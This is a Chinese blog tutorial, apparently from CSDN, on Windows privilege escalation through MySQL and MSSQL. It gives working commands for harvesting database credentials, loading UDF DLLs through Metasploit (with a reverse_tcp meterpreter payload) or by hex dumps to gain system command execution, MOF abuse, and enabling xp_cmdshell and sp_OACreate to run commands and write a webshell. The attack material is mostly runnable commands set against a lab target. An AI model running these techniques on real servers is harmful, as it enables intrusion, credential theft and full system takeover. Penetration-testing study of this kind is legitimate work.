windows 提权——数据库提权

windows 提权——数据库提权

一、mysql提权

0X01udf提权

了解UDF

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。

通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。

获取网站数据库账号密码

1.对于CMS,查找配置文件(inc.php/config.php/connect.php)

2.查找Mysql安装目录,在安装目录“/data/mysql/user.myd”中存放了root账号密码,可通过md5解密获得。

3.使用查询语句进行查询

select user,password from mysql.user; 
select user,password from mysql.user where user ='root'; 

使用UDF提权的知识储备

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like%plugin%; # 查看plugin路径。

利用条件:

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
  2. mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  3. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  4. 可以将udf.dll写入到相应目录的权限。
  5. 知道root账号密码

操作方法一 MSF-udf-利用:

在my.ini中添加属性“secure_file_priv = ’ '”

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
 
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
 
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

​ 因为mysql默认设置是不允许导入导出的;secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限

靶场设置:在phpmyadmin中开启mysql远程连接

​ 执行use mysql;

​ 执行grant all privileges on . to root@‘%’ identified by ‘密码’;

​ 执行flush privileges;

使⽤MSF中的exploit/multi/mysql/mysql_udf_payload 模块可以进⾏UDF提权

  1. 设置参数,执行导入dll
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 192.168.191.152 #靶机IP
run
  1. 使用数据库管理工具navicat连接mysql,执行命令下面命令查看dll是否导入成功,并且新建函数sys_exec

    select * from func;
    
  2. sys_exec无回显,使用创建的dll生成自建函数sys_eval

    create function sys_eval returns string soname 'vsUZFsjO.dll';
    

4.执行查询命令

select sys_eval('whoami');

操作方法二 手工导出sqlmap中的dll:

sqlmap中有udf文件,一般在\sqlmap\data\udf\mysql\windows\64目录下存放着lib_mysqludf_sys.dll_

  1. 将sqlmap中的dll_文件解码为dll;cloak.py目录为:sqlmap/extra/cloak

    python cloak.py -d -i lib_mysqludf_sys.dll_ -o udf.dll
    
  2. 使用navicat连接本地数据库;将我们的udf.dll文件通过十六机制进行处理;

SELECT HEX(LOAD_FILE('c:/udf.dll')) INTO DUMPFILE 'c:/udf.txt';
  1. 使用navicat连接靶场数据库,新建一个表,表名为udftmp,用来存放本地传来的udf文件的内容
create table udftmp (udf LONGBLOB);
  1. 在udftmp中写入udf文件的十六进制内容
INSERT INTO udftmp VALUE(UNHEX("16进制udf.dll文件内容"));
  1. 将udf文件内容传入新建的udf.dll文件中,路径根据自己的select @@plugin_dir;修改。
SELECT @@plugin_dir;
SELECT udf from udftmp INTO DUMPFILE "C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\udf.dll";
  1. 执行下面语句,创建函数cmdshell
create function cmdshell returns string soname 'udf.dll';
  1. 执行命令
select cmdshell ('whoami');

操作方法三 暗月moon.php:

  1. 利用大马查询mysql版本、数据库用户、安装目录以及plugin路径

  2. 如果不存在相关路径,可以通过大马进行创建

  3. 在my.ini中添加属性“secure_file_priv = ’ '”

    secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
     
    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
     
    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
    

​ 因为mysql默认设置是不允许导入导出的;secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限

  1. 执行命令,查看mysql版本位数

    show variables like '%version_%';
    
  2. 上传UDF提权专用shell “/webshell-master/net-friend/php/moon.php”

  3. 导出udf后提交创建sys_eval命令

  • mof提权
  1. 描述

托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译。编译 MOF 文件将在 CIM 储存库中注册所有的类定义和实 例。之后,提供程序、事件类别和事件信息 便可由 WMI 和 Visual Studio Analyzer 使用。 在 MOF 文件中创建提供程序、事件类别和事件类的实例,并且定义想要分析的自定义对象,之后,就可以对该文 件进行编译

  1. 原理

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。

其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命

令。

  1. 影响版本

    windows 03及以下版本

  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

  3. secure-file-priv参数不为null

  4. 复现

公开的nullevt.mof利用代码

把mof.php上传到脚本 填写命令导出即可

二、mssql提权

mssql的权限划分

  • 在 Microsoft SQL Server 中,有一些默认的权限用户。以下是其中一些常见的默认权限用户:

  • sa(System Administrator):这是 SQL Server 的系统管理员账户,拥有最高权限,可以执行任何操作。

    完全控制权限:sa 用户具有对 SQL Server 实例的完全控制权限,可以执行任何操作,包括创建、修改和删除数据库实例、配置服务器选项、管理登录名和用户、备份和恢复数据库、授权和撤销权限等。

    dbo 角色成员:作为系统管理员,sa 用户默认是所有数据库的 dbo 角色的成员。这意味着 sa 用户具有对每个数据库中的所有对象的完全控制权限。

    sysadmin 固定服务器角色:sa 用户自动是 sysadmin 固定服务器角色的成员,该角色是 SQL Server 的预定义角色之一。sysadmin 角色拥有绝大部分系统级权限,可以管理整个服务器

  • dbo(Database Owner):dbo 是每个数据库的所有者,具有对数据库中所有对象(表、视图、存储过程等)的完全控制权限。

  • guest:默认情况下,guest 用户是启用的,但其权限非常有限。通常,guest 用户只能访问数据库中的公共资源,并且没有对其他对象的访问权限。

  • public:public 是所有用户和角色的默认成员。它没有特定权限,只是用于为新用户提供一个基本的访问级别。

mssql下载安装:

SQL Server 2012 下载和安装详细教程

mssql提权方法

1.使用xp_cmdshell执行系统命令(sa权限)

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除

使用navicat连接mssql

判断xp_cmdshell状态
我们可以在master.dbo.sysobjects中查看xp_cmdshell状态,只用判断存在,利用count(*)即可。存在返回 1

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

启用xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

xp_cmdshell被注销了,解决办法:可以先上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

执行命令

EXEC master.dbo.xp_cmdshell 'whoami'

利用xp_cmdshell写文件:通过 echo 将一句话木马写入文件,即可连webshell

exec xp_cmdshell 'echo shell>c:\www\1.php'

2. sp_OACreate进行提权:在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

sp_oacreate 是一个非常危险的存储过程可以删除、复制、移动文件。主要用来调用OLE对象,利用OLE对象的方法执行系统命令。

开启组件:

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

关闭组件

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 0;  
RECONFIGURE WITH OVERRIDE;

执行命令后写入1.txt进行验证

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
 

后续可以直接命令执行反弹shell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值